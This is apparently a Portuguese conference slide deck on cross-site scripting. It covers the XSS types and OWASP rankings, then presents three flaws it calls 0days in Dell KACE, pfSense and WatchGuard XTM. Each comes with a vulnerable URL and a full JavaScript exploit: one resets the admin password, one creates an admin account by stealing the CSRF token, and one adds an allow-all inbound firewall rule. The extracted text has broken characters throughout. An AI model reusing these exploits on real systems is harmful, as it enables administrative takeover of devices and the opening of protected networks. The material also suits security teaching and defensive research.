Quem tem medo de XSS? William Costa
Quem tem medo de XSS?
William Costa
Composição do XSS. Os XSS’s normalmente são divididos em 3 categorias
Reflected XSS
Stored XSS
DOM Based XSS
Reflected XSS
Quando o usuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected XSS")</script>
Stored XSS Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário qualquer pessoa que acesse o
Forum recebem a tela
DOM XSS O DOM XSS é quando é inserido o payload dentro de uma variável uJlizada por um script Ex: Campos de interação em tempo real.
<img src=search onerror=alert('DOM_XSS')>
O XSS aparece no top 10 do OWASP desde seu primeiro relatório.
OWASP Top 10 – 2003 Top VulnerabiliIes in Web ApplicaIons A1 Unvalidated Parameters A2 Broken Access Control A3 Broken Account and Session Management A4 Cross-‐Site Scrip8ng (XSS) Flaws A5 Buffer Overflows A6 Command InjecIon Flaws A7 Error Handling Problems A8 Insecure Use of Cryptography A9 Remote AdministraIon Flaws A10 Web and ApplicaIon Server MisconfiguraIon
E após 10 Anos ele conJnua entre os 10
• OWASP Top 10 – 2013 (New) • A1 – InjecIon • A2 – Broken AuthenIcaIon and Session Management • A3 – Cross-‐Site Scrip8ng (XSS) • A4 – Insecure Direct Object References • A5 – Security MisconfiguraIon • A6 – SensiIve Data Exposure • A7 – Missing FuncIon Level Access Control • A8 – Cross-‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
Como são apresentadas as Falhas de XSS
Como normalmente é apresentando o Impacto do XSS
Como elas deferiam ser apresentadas
Como realmente são os Impactos dos XSS
Falha #1 Dell KACE V.6.3.113397 Falha na pagina de criação de um Ticket. Proteções: Flag HFpOnly Token CSRF URL Vulnerável: /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</script>
Pagina onde ocorre a vulnerabilidade
Alguma Ideia de como podemos ir além do alert?
Função Alvo
Exploit para alteração da senha do ADMIN.
• Um simples Iframe já nos possibilita a alteração de senha do usuário administrador.
document.write('<iframe width=0 height=0 name="xss" src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> </iframe>'); funcIon append(senha) { window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123"; window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123"; window.frames['xss'].document.UserForm.submit(); } setTimeout("append(\"Imeout\")",2500);
Falha #2 PFSENSE V. 2.2.2 Falha na pagina de remoção de CapJves portais. Proteções: Token CSRF Checagem do Header HTTP_REFERER
Pagina onde ocorre a vulnerabilidade
Alguma Ideia ?
Função Alvo
Exploit para criação de Usuário de Administração. • O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da mesma e envia o form para a pagina de criação de usuários “bypassando” a proteção do HTTP_REFERER
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>'); xss.document.write('<body><form id="CSRF" acIon="hlp://192.168.217.100/system_usermanager.php" method="post" name="CSRF">'); xss.document.write('<input name="__csrf_magic" value=""</input>'); xss.document.write('<input name="utype" value="user"> </input>'); xss.document.write('<input name="usernamefld" value="teste"> </input>'); xss.document.write('<input name="passwordfld1" value="123456"> </input>'); xss.document.write('<input name="passwordfld2" value="123456"> </input>'); xss.document.write('<input name="groups[]" value="admins"> </input>'); xss.document.write('<input name="save" value="Save"> </input>'); xss.document.write('</form>'); xss.document.write('</body>'); window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken; window.frames['xss'].document.CSRF.submit();
Falha #3 Firewall WatchGuard XTM V. 11.10.B473826 Falha na pagina de Gerenciamento de Access Point. Proteções: Token CSRF Flag HFpOnly
Pagina onde ocorre a vulnerabilidade URL Vulneravel: /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script>
Ideias ??
Função Alvo
Exploit. • Vamos usar uma função JSON que envie via post todas informações necessárias para criação de uma poliIca que permita tudo de fora para dentro da rede.
$.ajax({ type: "POST", url: "hlps://10.0.1.1:8080/put_data/", data: '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-‐Rule","enabled":true,"descripIon":"Policy added on 2015-‐05-‐005T18:02:38-‐03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-‐External","address_type":-‐1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-‐Trusted","address_type":-‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled":0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng":1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp":0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash":{},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs":[{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in�_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list":[],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}', contentType: "applicaIon/json; charset=UTF-‐8",
accept: "*/*", dataType: "json", });
As 3 vulnerabilidades apresentadas aqui são 0days, Baixem e façam seus próprios testes J
<script>alert(String(/Perguntas?/).substr(1,10) ); </script>
william.costa arroba gmail.com